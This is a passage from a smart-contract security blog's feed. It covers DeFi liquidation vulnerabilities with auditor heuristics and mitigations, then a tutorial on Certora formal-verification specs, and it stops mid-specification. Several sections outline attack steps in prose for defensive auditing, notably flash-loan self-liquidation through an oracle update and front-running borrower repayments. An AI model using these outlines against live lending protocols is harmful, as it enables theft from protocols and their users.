<p>An <a target="_blank" href="https://solodit.cyfrin.io/issues/self-liquidations-of-leveraged-positions-can-be-profitable-spearbit-none-euler-labs-evk-pdf">attacker can exploit a user-triggered oracle update for profitable self-liquidation</a> by using an attack contract to:</p>
<ul>
<li><p>flash-loan a large amount of collateral tokens</p>
</li>
<li><p>deposit the collateral and borrow the maximum amount of debt tokens (max leverage)</p>
</li>
<li><p>trigger the oracle price update</p>
</li>
<li><p>liquidate themselves</p>
</li>
</ul>
<p>The attack is profitable when the oracle price update results in the entire collateral balance being recovered while repaying fewer debt tokens than were borrowed. Simple mitigations which help to reduce the profitability of this attack are:</p>
<ul>
<li><p>charging borrow and liquidation fees</p>
</li>
<li><p>implementing a cool-off period during which an account can’t be liquidated</p>
</li>
</ul>
<p>More advanced mitigations involve restricting leverage for volatile collateral assets and choosing oracles with smaller price deviation updates that can’t be user-triggered.</p>
<p>Self-liquidation can be a dangerous attack vector especially when <a target="_blank" href="https://www.youtube.com/watch?v=AD2IF8ovE-w&amp;t=2496s">users can cause themselves to become liquidatable</a>.</p>
<p><strong>Heuristic:</strong> Can a user make themselves liquidatable and self-liquidate? Can a user weaponize oracle price updates to extract value from the protocol?</p>
<h2 id="heading-healthy-borrower-can-be-liquidated">Healthy Borrower Can Be Liquidated</h2>
<p>Liquidation should only be allowed for borrowers that are liquidatable, and this check should be done prior to any actions which occur as part of liquidation such as debt repayment and collateral transfer. If this check is performed after debt repayment and collateral transfer, <a target="_blank" href="https://x.com/sherlockdefi/status/1971528945846898814">due to the liquidation bonus liquidators can over-remove collateral relative to repaid debt</a>, forcing healthy positions into an under-collateralized liquidatable state.</p>
<h2 id="heading-liquidation-leaves-borrower-with-lower-health-score">Liquidation Leaves Borrower With Lower Health Score</h2>
<p>Liquidation (whether full or partial) should always leave the borrower being liquidated in a “healthier” state where after liquidation they are less likely to be liquidated in the future. But in advanced protocols which support multiple collateral types and partial liquidation, subtle bugs can exist which leave borrowers in an unhealthier position post-liquidation, making it more likely for them to be liquidated in the future.</p>
<p>Consider this liquidate function:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidatePartiallyFromTokens</span>(<span class="hljs-params">
    <span class="hljs-keyword">uint256</span> _nftId,
    <span class="hljs-keyword">uint256</span> _nftIdLiquidator,
    <span class="hljs-keyword">address</span> _paybackToken,
    <span class="hljs-keyword">address</span> _receiveToken, <span class="hljs-comment">//@audit liquidator can choose collateral</span>
    <span class="hljs-keyword">uint256</span> _shareAmountToPay
</span>)</span>
</code></pre>
<p>This liquidate function allows the liquidator to choose which collateral to seize and receive in compensation for the liquidation. Why is this dangerous? Because different collateral have different:</p>
<ul>
<li><p>borrowing factors which enable users to borrow more or less against a particular collateral</p>
</li>
<li><p>risk profiles as some collateral can be very stable (USDC) while other collateral can be much more volatile (ETH and especially speculative ERC20 tokens)</p>
</li>
</ul>
<p>A liquidator can abuse this feature by choosing to first liquidate a user’s more stable, higher borrowing factor collateral. After liquidation this leaves the user with a less healthier collateral basket as:</p>
<ul>
<li><p>their remaining collateral is more volatile in regards to price movement</p>
</li>
<li><p>they have a reduced borrowing factor since they are left with riskier more volatile collateral which has reduced borrowing factor</p>
</li>
</ul>
<p>Both of these outcomes make it more likely the user will be liquidated in the future and may subject to user to <a target="_blank" href="https://solodit.cyfrin.io/issues/m-09-liquidating-chaining-can-be-achieved-by-liquidating-token-collateral-with-the-highest-collateralfactor-code4rena-wise-lending-wise-lending-git">cascading liquidation</a> where the first liquidation transaction makes them immediately subject to a second liquidation and so on, as <a target="_blank" href="https://solodit.cyfrin.io/issues/liquidation-leaves-traders-with-unhealthier-and-riskier-collateral-basket-making-them-more-likely-to-be-liquidated-in-future-trades-cyfrin-none-cyfrinzaros-markdown">liquidation leaves the trader with an unhealthier and riskier collateral basket</a>.</p>
<p>One potential mitigation is during the liquidation transaction:</p>
<ul>
<li><p>calculate the borrower’s health score before and after liquidation</p>
</li>
<li><p><a target="_blank" href="https://github.com/Cyfrin/foundry-defi-stablecoin-cu/blob/main/src/DSCEngine.sol#L245-L247">revert if the “after” health score &lt;= the “before” health score</a></p>
</li>
</ul>
<p>Two <a target="_blank" href="https://github.com/Cyfrin/foundry-defi-stablecoin-cu/blob/main/src/DSCEngine.sol#L347-L358">simple health score implementations</a> are:</p>
<ul>
<li><p><code>collateral_value / borrow_value</code> (collateral : debt ratio)</p>
</li>
<li><p><code>collateral_value * loan_to_value_ratio / borrow_value</code> (borrowing power)</p>
</li>
</ul>
<p><strong>Heuristic:</strong> can liquidation leave a borrower in an unhealthier state? Can the liquidator choose which collateral to seize, leaving the borrower with a more volatile collateral basket with reduced borrowing factor?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/m-10-liquidation-should-make-a-borrower-healthier-code4rena-inverse-finance-inverse-finance-contest-git">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/liquidation-seizeassets-computation-rounding-issue-cantina-none-morpho-pdf">2</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-14-liquidation-does-not-prioritize-lowest-ltv-tokens-sherlock-exactly-protocol-git">3</a>, <a target="_blank" href="https://www.youtube.com/watch?v=AD2IF8ovE-w&amp;t=1884s">4</a>]</p>
<h3 id="heading-corruption-of-collateral-priority-order">Corruption Of Collateral Priority Order</h3>
<p>In protocols which support multiple collaterals, another mitigation for the previous vulnerability is to enforce a collateral priority order for liquidation where the riskier more volatile collateral is liquidated first. However care must be taken when implementing functions which change the collateral priority order to prevent <a target="_blank" href="https://solodit.cyfrin.io/issues/globalconfigurationremovecollateralfromliquidationpriority-corrupts-the-collateral-priority-order-resulting-in-incorrect-order-of-collateral-liquidation-cyfrin-none-cyfrinzaros-markdown">corrupting the collateral priority order resulting in incorrect order of collateral liquidation</a>.</p>
<p><strong>Heuristic:</strong> can the collateral liquidation priority order become corrupt by functions which change it?</p>
<h2 id="heading-borrower-replacement-results-in-incorrect-repayment-attribution">Borrower Replacement Results In Incorrect Repayment Attribution</h2>
<p>Some protocols support an optional “replacement” liquidation technique where a liquidatable position can be used to “fill” an order from an order-book, effectively replacing an unhealthy borrower with a healthy borrower.</p>
<p>Other protocols allow users to “buy” a liquidatable position effectively taking it over as long as they have enough collateral deposited to make the position solvent. This achieves the same effective end state which is the transfer of a debt position from the original unhealthy borrower to a different healthy borrower.</p>
<p>In both cases the borrower’s address is changed to the new borrower but most other fields including the <code>id</code> and debt of the position remain the same. Consider what can happen when the following two transactions are concurrently initiated:</p>
<ul>
<li><p>TX1 - the liquidatable original borrower attempts to repay their liquidatable position passing as input their position’s <code>id</code></p>
</li>
<li><p>TX2 - a replacement liquidation transaction attempts to transfer the liquidatable position to a healthier borrower</p>
</li>
</ul>
<p>If TX2 is executed before TX1 the liquidatable position is acquired by the new borrower prior to the original borrower’s repayment transaction being executed - the <a target="_blank" href="https://solodit.cyfrin.io/issues/h-02-risk-of-overpayment-due-to-race-condition-between-repay-and-liquidatewithreplacement-transactions-code4rena-size-size-git">original borrower effectively repays someone else’s debt</a>! In protocols where users can “buy” liquidatable positions an MEV attacker could weaponize this to front-run repayment transactions, buying the liquidatable positions then having the original borrower repay the debt on the position they just acquired!</p>
<p>One potential mitigation is to have repayment transactions specify the borrower’s address as part of the input and revert if the current borrower’s address does not match.</p>
<p><strong>Heuristic:</strong> can a liquidatable position be transferred from an unhealthy user to a healthy user? If so, what happens if the unhealthy user attempts to repay at the same time as the transfer?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/h-2-adversary-can-reenter-takeoverdebt-during-liquidation-to-steal-vault-funds-sherlock-real-wagmi-2-git">1</a>]</p>
<h2 id="heading-no-gap-between-borrow-and-liquidation-loan-to-value-ratio">No Gap Between Borrow And Liquidation Loan To Value Ratio</h2>
<p>Most protocols require a lower Loan To Value (LTV) ratio to open a new borrow but use a higher LTV ratio for determining whether a position is liquidatable; this design aims to prevent borrowers from being liquidated very soon after opening a new borrow.</p>
<p>If there is <a target="_blank" href="https://solodit.cyfrin.io/issues/missing-gap-between-borrow-ltv-and-liquidation-threshold-openzeppelin-none-euler-vault-kit-evk-audit-markdown">no gap between the borrow and liquidation LTV ratio</a> then borrowers can open new positions on the edge of liquidation which increases the likelihood of subsequent liquidations, threatening the stability of the protocol and creating a poor user experience.</p>
<p><strong>Heuristic:</strong> can a user become liquidatable very soon after opening a new position? What about after modifying an existing position?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/h-1-keepers-can-open-positions-that-are-already-liquidatable-sherlock-elfi-git">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/h-22-lack-of-safety-buffer-between-liquidation-threshold-and-ltv-ratio-for-borrowers-to-prevent-unfair-liquidations-code4rena-tapioca-dao-tapioca-dao-git">2</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/h-04-users-may-be-liquidated-right-after-taking-maximal-debt-code4rena-backed-protocol-papr-contest-git">3</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-11-lack-of-safety-buffer-in-_checkloanishealthy-could-subject-users-who-take-out-the-max-loan-into-a-forced-liquidation-code4rena-revert-lend-revert-lend-git">4</a>]</p>
<h2 id="heading-borrower-accrues-interest-while-liquidation-auction-running">Borrower Accrues Interest While Liquidation Auction Running</h2>
<p>Some protocols use an “auction” mechanism where a liquidatable position is put up for auction over a period of time. In such cases interest payments on debt should be paused as soon as debt is put up for auction; <a target="_blank" href="https://solodit.cyfrin.io/issues/m-07-borrower-pays-interest-on-their-debt-while-liquidation-is-running-pashov-none-arcadia-markdown">positions being liquidated shouldn’t continue accruing additional interest</a> during the liquidation auction process.</p>
<p><strong>Heuristic:</strong> does a borrower continue to accrue interest while their debt is being auctioned?</p>
<h2 id="heading-no-slippage-for-liquidation-amp-swaps">No Slippage For Liquidation &amp; Swaps</h2>
<p>Ideally when performing a liquidation the liquidator should be able to specify the minimum amount of rewards (in the form of tokens, shares or other instruments) they are willing to receive. This is especially important for protocols which perform swaps during liquidation where those <a target="_blank" href="https://solodit.cyfrin.io/issues/m-12-potential-asset-loss-during-liquidation-pashov-audit-group-none-sharwafinance-markdown">swaps could be exploited via MEV causing the liquidator to receive less rewards than they expected to receive</a>.</p>
<p><strong>Heuristic:</strong> can the liquidator specify a slippage parameter? If swaps occur during the liquidation, can that result in the liquidator (or the protocol or the user being liquidated) receiving less tokens than expected?</p>
<h2 id="heading-additional-resources">Additional Resources</h2>
<ul>
<li><p><a target="_blank" href="https://dacian.me/lending-borrowing-defi-attacks">Lending &amp; Borrowing Deep Dive</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=AD2IF8ovE-w&amp;t=1s">13 Critical Liquidation Vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://mixbytes.io/blog/how-liquidations-work-in-defi-a-deep-dive">How DeFi Liquidations Work</a></p>
</li>
<li><p><a target="_blank" href="https://blog.a2sec.io/posts/liquidations-study/">Liquidation Mechanisms: Aave, Morpho &amp; Euler</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Find Highs Before External Auditors Using Certora Formal Verification]]></title><description><![CDATA[At DeFi Security Summit 2024 I presented a workshop on how smart contract developers can use invariant fuzz testing to find high severity issues prior to external audit, based on my real-world experience doing private audits with Cyfrin.
Since fuzz t...]]></description><link>https://dacian.me/find-highs-before-external-auditors-using-certora-formal-verification</link><guid isPermaLink="true">https://dacian.me/find-highs-before-external-auditors-using-certora-formal-verification</guid><category><![CDATA[Solidity]]></category><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Formal Verification]]></category><category><![CDATA[certora]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Fri, 29 Nov 2024 11:03:41 GMT</pubDate><content:encoded><![CDATA[<p>At <a target="_blank" href="https://defisecuritysummit.org/conference-2024/">DeFi Security Summit 2024</a> I presented a workshop on how smart contract developers can use <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing">invariant fuzz testing to find high severity issues</a> prior to external audit, based on my real-world experience doing private audits with Cyfrin.</p>
<p>Since fuzz testing may seem daunting at first, I presented a simple methodology for learning to <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-thinking-in-invariants">“Think In Invariants”</a> that any developer could learn and apply to start building effective invariant fuzz testing suites. In response many researchers and developers reached out asking if a similar approach could be used with Formal Verification (FV) and the answer is a resounding “Yes”, though with some modifications.</p>
<p>This article will showcase using <a target="_blank" href="https://docs.certora.com/en/latest/docs/cvl/index.html">Certora Verification Language</a> (CVL) to solve the same simplified versions of real world vulnerabilities from my previous invariant fuzz testing deep dive. Certora graciously provides a generous free tier which anyone can sign up for that I continuously used to create these solutions (including <em>many</em> failed attempts) and still didn’t get close to reaching the limit, so <a target="_blank" href="https://www.certora.com/signup?plan=prover&amp;utm=updraft">sign up today</a>!</p>
<p>Special thanks also to:</p>
<ul>
<li><p><a target="_blank" href="https://updraft.cyfrin.io/courses/formal-verification">Updraft Assembly &amp; Formal Verification Course</a> which is free and great for learning Certora!</p>
</li>
<li><p><a target="_blank" href="https://x.com/alexzoid_eth">alexzoid_eth</a> who provided invaluable assistance improving some of the solutions</p>
</li>
<li><p><a target="_blank" href="https://x.com/kirsteinuri">kirsteinuri</a> for reviewing this article and providing valuable corrections</p>
</li>
</ul>
<p>Before we get to the Certora solutions lets briefly examine some important differences between how to use invariant fuzzers and Certora.</p>
<h2 id="heading-invariant-fuzz-testing-vs-formal-verification">Invariant Fuzz Testing vs Formal Verification</h2>
<p>Everything regarding “thinking in invariants” still applies and carries over from fuzz testing into formal verification - we need to specify <a target="_blank" href="https://github.com/Certora/Tutorials/blob/master/06.Lesson_ThinkingProperties/Categorizing_Properties.pdf">useful properties</a> to make effective use of both fuzz testing and formal verification. However some notable differences include:</p>
<h3 id="heading-solidity-vs-certora-verification-language-cvl">Solidity vs Certora Verification Language (CVL)</h3>
<p>Our fuzzers were all written in Solidity but when using Certora we write “specifications” using Certora’s domain-specific language, CVL. These specifications are used as input to Certora’s “Prover” which compares rules in the specification against the underlying smart contract being verified to identify scenarios which could lead to assertions being violated. Writing specifications in CVL takes some getting used to but is very powerful, allowing the creation of elegant and concise solutions compared to much bulkier fuzzers, as we’ll soon see.</p>
<h3 id="heading-fuzz-locally-vs-cloud-formal-verification">Fuzz Locally vs Cloud Formal Verification</h3>
<p>The fuzzers we wrote all ran locally, though since we used the Chimera framework they could easily be run in the cloud using <a target="_blank" href="https://getrecon.xyz/">getrecon.xyz</a>. In contrast Certora’s command-line tool will do some basic error checking and compilation then send it to the cloud for execution; the results can take anywhere from 30-60 seconds to be visible in Certora’s web interface.</p>
<h3 id="heading-fuzz-setup-vs-formal-verification-relationships">Fuzz Setup vs Formal Verification Relationships</h3>
<p>A fuzz test over one or more smart contracts will typically:</p>
<ul>
<li><p>create contracts through their constructors, setting important parameters to specific values</p>
</li>
<li><p>call any initialization functions, setup roles and grant permissions</p>
</li>
<li><p>wrap the contract’s underlying functions using <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-handlers-vs-no-handlers">“handler”</a> functions which update ghost variables and satisfy preconditions reducing the amount of wasted fuzz runs</p>
</li>
</ul>
<p>Within the environment we’ve created the fuzzer tries many random combinations of function calls attempting to break the defined invariants. One important consequence of this approach is that all of the restrictions on parameter values in <code>require</code> statements within the contract being fuzzed are respected, such that if the fuzzer breaks an invariant there is a high likelihood that will be a valid finding.</p>
<p>In contrast when using Certora there is no “setup” function, we aren’t explicitly creating the contracts, setting parameters or writing any Solidity. Instead we:</p>
<ul>
<li><p>define a <code>.conf</code> <a target="_blank" href="https://docs.certora.com/en/latest/docs/prover/cli/conf-file-api.html">configuration</a> file with some basic information - the contracts we are testing and optional Certora flags</p>
</li>
<li><p>write a <code>.spec</code> <a target="_blank" href="https://docs.certora.com/en/latest/docs/cvl/overview.html">specification</a> file containing our Certora specification using CVL which defines invariants and relationships between objects (such as storage locations or environment parameters) using CVL <code>require</code> statements to restrict Certora from breaking invariants by reaching an invalid state</p>
</li>
</ul>
<p>One benefit is that Certora specifications can be very concise compared to much bulkier fuzz testing code. However one drawback is that some restrictions present in the underlying contracts may need to be duplicated in the specification using CVL <code>require</code> statements to prevent Certora from setting storage slots to values that would never be possible and hence breaking invariants through invalid states.</p>
<h3 id="heading-fuzz-invariant-vs-certora-rule-and-invariant">Fuzz Invariant vs Certora <code>rule</code> and <code>invariant</code></h3>
<p>All 3 fuzzers we used generally have the same type of invariant; a function that either returns a boolean (Echidna/Medusa) or fails an assert (Foundry). In contrast Certora has two ways to implement an “invariant”, using the <code>rule</code> and <code>invariant</code> keywords.</p>
<ul>
<li><p><a target="_blank" href="https://docs.certora.com/en/latest/docs/cvl/rules.html"><code>rule</code></a> is ideally used when describing a conditional “scenario” to Certora; the conditions are expressed using a set of <code>require</code> statements that specify relationships between storage and/or environment. The conditions are followed by one or more <code>assert</code> or <a target="_blank" href="https://docs.certora.com/en/latest/docs/cvl/statements.html#satisfy"><code>satisfy</code></a> statements which are the actual properties we are trying to break</p>
</li>
<li><p><a target="_blank" href="https://docs.certora.com/en/latest/docs/cvl/invariants.html"><code>invariant</code></a> doesn’t support scenarios and is best used for simple boolean expressions which should always be true</p>
</li>
</ul>
<p>Personally I found <code>rule</code> to be the most powerful so that is what most of our solutions use.</p>
<h3 id="heading-fuzz-cheat-codes-vs-certora-env">Fuzz Cheat Codes vs Certora <code>env</code></h3>
<p>In our fuzz handlers we used a number of cheat codes such as <code>vm.prank</code> to change <code>msg.sender</code> or <code>vm.warp</code> to set <code>block.timestamp</code>. In contrast Certora has a special <a target="_blank" href="https://docs.certora.com/en/latest/docs/cvl/types.html#env"><code>env</code></a> type which is:</p>
<ul>
<li><p>declared and passed as the first parameter to underlying function calls</p>
</li>
<li><p>used together with CVL <code>require</code> statements to constrain environment properties such as <code>msg.sender</code> or <code>block.timestamp</code></p>
</li>
</ul>
<h3 id="heading-additional-certora-features">Additional Certora Features</h3>
<p>Certora has a number of very powerful additional features including <a target="_blank" href="https://docs.certora.com/en/latest/docs/user-guide/parametric.html">parametric rules</a> and <a target="_blank" href="https://docs.certora.com/en/latest/docs/user-guide/opcodes.html">opcode hooks</a> - keep the <a target="_blank" href="https://docs.certora.com/en/latest/docs/user-guide/index.html">user guide</a> open as a handy reference. There are also a number of important command-line parameters which we encode in the <code>.conf</code> files, the most important being <a target="_blank" href="https://docs.certora.com/en/latest/docs/prover/cli/options.html#optimistic-loop"><code>optimistic_loop</code></a> and <a target="_blank" href="https://docs.certora.com/en/latest/docs/prover/cli/options.html#optimistic-fallback"><code>optimistic_fallback</code></a>.</p>
<p>Now that we are aware of important differences between using fuzz testing and Certora, let’s see what the Certora specifications look like for each of the simplified real-world vulnerabilities we solved in the invariant fuzzing deep dive!</p>
<h2 id="heading-example-1-flash-loan-denial-of-service">Example 1 - Flash Loan Denial Of Service</h2>
<p>Specification: there are 2 contracts <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/02-unstoppable/ReceiverUnstoppable.sol"><code>Receiver</code></a> and <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/02-unstoppable/UnstoppableLender.sol"><code>Lender</code></a>. <code>Receiver</code> has a function <code>executeFlashLoan</code> that calls <code>Lender::flashLoan</code> to take a flash loan, and the important invariant is that <code>Receiver</code> should always be able to take a flash loan if <code>Lender</code> has sufficient tokens available. First we create the configuration file <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/02-unstoppable/certora.conf"><code>certora.conf</code></a>:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"files"</span>: [
    <span class="hljs-string">"src/02-unstoppable/ReceiverUnstoppable.sol"</span>,
    <span class="hljs-string">"src/02-unstoppable/UnstoppableLender.sol"</span>,
    <span class="hljs-string">"src/TestToken.sol"</span>
  ],
  <span class="hljs-attr">"verify"</span>: <span class="hljs-string">"ReceiverUnstoppable:test/02-unstoppable/certora.spec"</span>,
  <span class="hljs-attr">"link"</span>: [
        <span class="hljs-string">"ReceiverUnstoppable:pool=UnstoppableLender"</span>,
        <span class="hljs-string">"UnstoppableLender:damnValuableToken=TestToken"</span>
    ],
  <span class="hljs-attr">"packages"</span>:[
        <span class="hljs-string">"@openzeppelin=lib/openzeppelin-contracts"</span>
    ],
  <span class="hljs-attr">"optimistic_loop"</span>: <span class="hljs-literal">true</span>
}
</code></pre>
<p>The Certora configuration:</p>
<ul>
<li><p>defines the Solidity source <code>files</code> required for the test</p>
</li>
<li><p>marks the contract to <code>verify</code> and the <code>certora.spec</code> file which contains the Certora specification that will be sent to the Prover</p>
</li>
<li><p>for contracts which have references to other contracts, instructs Certora to <code>link</code> those storage variables to the appropriate contract type</p>
</li>
<li><p>necessary <code>packages</code> for library paths similar to Foundry remappings</p>
</li>
<li><p>add an optional command-line parameter <code>optimistic_loop</code> required to prevent unnecessary counterexamples from incomplete loop iterations due to the Prover's bounded model checking</p>
</li>
</ul>
<p>Then put our Certora specification in <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/02-unstoppable/certora.spec"><code>certora.spec</code></a>:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">using</span> <span class="hljs-title">ReceiverUnstoppable</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">receiver</span>;
<span class="hljs-keyword">using</span> <span class="hljs-title">UnstoppableLender</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">lender</span>;
<span class="hljs-keyword">using</span> <span class="hljs-title">TestToken</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">token</span>;

methods {
    <span class="hljs-comment">// `dispatcher` summary to prevent HAVOC</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title"><span class="hljs-keyword">_</span></span>.<span class="hljs-title">receiveTokens</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> tokenAddress, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> =&gt; <span class="hljs-title">DISPATCHER</span>(<span class="hljs-params"><span class="hljs-literal">true</span></span>)</span>;

    <span class="hljs-comment">// `envfree` definitions to call functions without explicit `env`</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token</span>.<span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) <span class="hljs-title">envfree</span></span>;
}

<span class="hljs-comment">// executeFlashLoan() -&gt; f() -&gt; executeFlashLoan() should always succeed</span>
rule executeFlashLoan_mustNotRevert(<span class="hljs-keyword">uint256</span> loanAmount) {
    <span class="hljs-comment">// enforce valid msg.sender:</span>
    <span class="hljs-comment">// 1) not a protocol contract</span>
    <span class="hljs-comment">// 2) equal to ReceiverUnstoppable::owner</span>
    env e1;
    <span class="hljs-built_in">require</span> e1.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e1.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> lender <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e1.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> receiver <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e1.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> token <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e1.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> receiver.owner <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e1.msg.<span class="hljs-built_in">value</span>  <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>; <span class="hljs-comment">// not payable</span>

    <span class="hljs-comment">// enforce sufficient tokens exist to take out flash loan</span>
    <span class="hljs-built_in">require</span> loanAmount <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> loanAmount <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> token.balanceOf(lender);

    <span class="hljs-comment">// first executeFlashLoan() succeeds</span>
    executeFlashLoan(e1, loanAmount);

    <span class="hljs-comment">// perform another arbitrary successful transaction f()</span>
    env e2;
    <span class="hljs-built_in">require</span> e2.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e2.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> lender <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e2.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> receiver <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e2.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> token;
    method f;
    calldataarg args;
    f(e2, args);

    <span class="hljs-comment">// second executeFlashLoan() should always succeed; there should</span>
    <span class="hljs-comment">// exist no previous transaction f() that could make it fail</span>
    executeFlashLoan@withrevert(e1, loanAmount);
    <span class="hljs-built_in">assert</span> <span class="hljs-operator">!</span>lastReverted;
}
</code></pre>
<p>The Certora specification contains:</p>
<ul>
<li><p>a <code>methods</code> section giving Certora some additional information about functions in the underlying contracts, the most common of these being marking <code>view</code> functions as <code>envfree</code> so that Certora’s special <code>env</code> type does not need to be passed as an input parameter when calling them</p>
</li>
<li><p>a <code>rule</code> describing the “scenario” we wish to test</p>
</li>
<li><p><code>require</code> statements which restrict the <code>env</code> environment especially <code>msg.sender</code> and also instruct Certora to satisfy preconditions such as sufficient tokens being available for the flash loan</p>
</li>
<li><p>a first <code>executeFlashLoan</code> call which always succeeds</p>
</li>
<li><p>a <a target="_blank" href="https://docs.certora.com/en/latest/docs/user-guide/parametric.html">parametric</a> function call instructing Certora to perform any arbitrary successful function call <code>f()</code></p>
</li>
<li><p>a second <code>executeFlashLoan</code> call using <code>@withrevert</code> to consider scenarios where this call may revert</p>
</li>
<li><p>an assertion which fails if the previous call reverts, meaning Certora has broken the <code>rule</code> and hence found a valid attack path</p>
</li>
</ul>
<h2 id="heading-example-2-reward-distribution-stuck">Example 2 - Reward Distribution Stuck</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/03-proposal/Proposal.sol"><code>Proposal</code></a> contract is deployed by a DAO with some ETH to be distributed if the proposal succeeds:</p>
<ul>
<li><p><code>Proposal</code> is active until voting has finished or the proposal has timed out</p>
</li>
<li><p>While active, eligible voters can vote <code>for</code> or <code>against</code></p>
</li>
<li><p>if quorum is reached the ETH should be distributed between the <code>for</code> voters</p>
</li>
<li><p>otherwise the ETH should be refunded to the proposal creator</p>
</li>
</ul>
<p>Our Certora specification uses an <code>invariant</code> construction which is very similar to the <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-example-2-reward-distribution-stuck">fuzzer invariant</a> we used for this challenge, but note the total absence of any setup, handlers or other “infrastructure” - everything is self-contained within the <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/03-proposal/certora.spec"><code>certora.spec</code></a> file:</p>
<pre><code class="lang-solidity">methods {
    <span class="hljs-comment">// `envfree` definitions to call functions without explicit `env`</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isActive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) <span class="hljs-title">envfree</span></span>;
}

<span class="hljs-comment">// define constants and require them later to prevent HAVOC into invalid state</span>
definition MIN_FUNDING() <span class="hljs-keyword">returns</span> <span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span> <span class="hljs-number">1000000000000000000</span>;
definition MIN_VOTERS()  <span class="hljs-keyword">returns</span> <span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span> <span class="hljs-number">3</span>;
definition MAX_VOTERS()  <span class="hljs-keyword">returns</span> <span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span> <span class="hljs-number">9</span>;

<span class="hljs-comment">// Proposal state must be:</span>
<span class="hljs-comment">// 1) active with balance &gt;= min_funding OR</span>
<span class="hljs-comment">// 2) not active with balance == 0</span>
invariant proposal_complete_all_rewards_distributed()
    (isActive()  <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> nativeBalances[currentContract] <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> MIN_FUNDING()) <span class="hljs-operator">|</span><span class="hljs-operator">|</span>
    (<span class="hljs-operator">!</span>isActive() <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> nativeBalances[currentContract] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>)
{
    <span class="hljs-comment">// enforce state requirements to prevent HAVOC into invalid state</span>
    preserved {
        <span class="hljs-comment">// enforce valid total allowed voters</span>
        <span class="hljs-built_in">require</span>(currentContract.s_totalAllowedVoters <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> MIN_VOTERS() <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
